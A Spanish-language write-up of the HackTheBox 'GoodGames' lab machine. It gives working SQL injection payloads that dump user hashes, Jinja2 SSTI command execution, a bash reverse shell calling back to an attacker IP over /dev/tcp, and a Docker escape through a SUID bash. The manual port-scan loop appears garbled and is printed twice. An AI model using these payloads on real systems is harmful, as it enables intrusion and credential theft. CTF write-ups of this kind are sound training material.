> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md). # Resolución de HackTheBox GoodGames {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Explotación de inyecciones SQL basadas en UNION * Cracking de hashes con algoritmos débiles * Reutilización de contraseñas * Explotación de SSTI * Conceptos básicos de escapadas de Docker {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p80 10.10.11.130 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

**Búsqueda de directorios:** Usamos Gobuster para buscar directorios en el sitio: ```bash gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265 ``` Encontramos un directorio de registro.

## Vulnerabilidad de inyección SQL: Usando **Burp Suite**, podemos interceptar la solicitud, lo que nos permite probar la inyección SQL.

### Inyección SQL básica: Para eludir la autenticación con una simple inyección, usamos: ```bash admin ' or 1=1-- - ```

Este tipo de inyección fuerza a que la condición sea siempre verdadera (`1=1`), lo que permite acceder al panel de administrador eludiendo las comprobaciones de credenciales.

### Inyección basada en UNION Con una **SQL basado en UNION** inyección, intentamos determinar el número de columnas para estructurar las consultas de una forma compatible con la base de datos. Ejemplo: ```bash admin' union select 1,2,3,4-- - ``` El servidor devuelve una respuesta indicando un "inicio de sesión exitoso", lo que muestra que hay 4 columnas.

#### Listar bases de datos Para listar el nombre de la base de datos actual, usamos: ```bash admin' union select 1,2,3,database()-- -&password=admin ```

Luego, para obtener todas las bases de datos disponibles: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin ``` {% endcode %} Resultado: `information_schema`, `main`

#### Listar tablas Después de identificar la `main` base de datos, listamos las tablas en esta base de datos para explorar las estructuras almacenadas: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - ``` {% endcode %} Tablas encontradas: `blog`, `blog_comments`, `users`.

Listar las columnas de una tabla tabla, `users` listamos las columnas disponibles: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- - ``` {% endcode %} Columnas encontradas: `correo electrónico`, `id`, `nombre`, `contraseña`.

#### Extracción de datos de usuarios Luego extraemos los datos de la `users` tabla: {% code overflow="wrap" %} ```sql admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- - ``` {% endcode %} USUARIO: `Administrador` CORREO: `admin@goodgames.htb` CONTRASEÑA (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

### Descifrado de contraseña Puedes usar **CrackStation** para descifrar el hash MD5 obtenido y recuperar la contraseña en texto claro. {% embed url="" %}

## Vulnerabilidad SSTI: ### Acceso a un subdominio Para acceder a un subdominio de administrador descubierto, añádelo a las `/etc/hosts` archivo.

Finalmente, con el **admin** credenciales, puedes autenticarte en este subdominio. `admin:superadministrator`

En el subdominio encontrarás una **Configuración** pestaña donde puedes editar la información del usuario administrador (nombre completo, fecha de nacimiento y teléfono).

Si en el formulario de "nombre completo" intentas ejecutar un ataque SSTI, el servidor es vulnerable. Para probar esto con `{{ }}`, probemos a ver si interpreta el cálculo: ```python {{1+1}} ```

A continuación, ejecutaremos comandos (por ejemplo, `id`): ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` Descubrimos que está en el `root` grupo.

Crearemos una reverse shell para acceder al servidor ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }} ``` Escuchamos en el puerto 443 en nuestra máquina de ataque: ```bash nc -nlvp 443 ```

### **Bandera : user.txt** :)

## Escalada de privilegios : Una vez que tengas acceso al servidor Linux, aquí están los comandos a ejecutar para trabajar en la terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` Esto te permitirá trabajar mucho más eficientemente y, sobre todo, con mayor comodidad. ### Escape de Docker: Observamos que la dirección IP no es la de la máquina (IP de la máquina: 10.10.11.130; IP del contenedor Docker: 172.19.0.2).

Escanearemos los puertos manualmente, ya que `nmap` no está instalado en la puerta de enlace (172.19.0.1): ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "el puerto $PORT está abierto"; done ``` Observamos que el puerto 22 está abierto (internamente), por lo que podemos conectarnos por SSH. ```bash for PORT in {0..1000}; do timeout 1 bash -c "/dev/null" 2>/dev/null && echo "el puerto $PORT está abierto"; done ```

Si intentamos iniciar sesión con la cuenta root usando la contraseña `superadministrador` no podemos iniciar sesión, pero con `augustus` logramos obtener una shell.

### Bash SUID desde Docker Como en el contenedor Docker somos root, copiaremos el binario bash del host normal de la máquina al directorio personal de `augustus`: ``` cp /bin/bash . ```

Desde root en Docker, autorizaremos al grupo root para este archivo bash y los permisos SUID para que se ejecute como root: ```bash chown root:root bash chmod 4777 bash ``` Volvemos a SSH y vemos: `-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

### **¡Bandera de root obtenida :)** `./bash -p`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.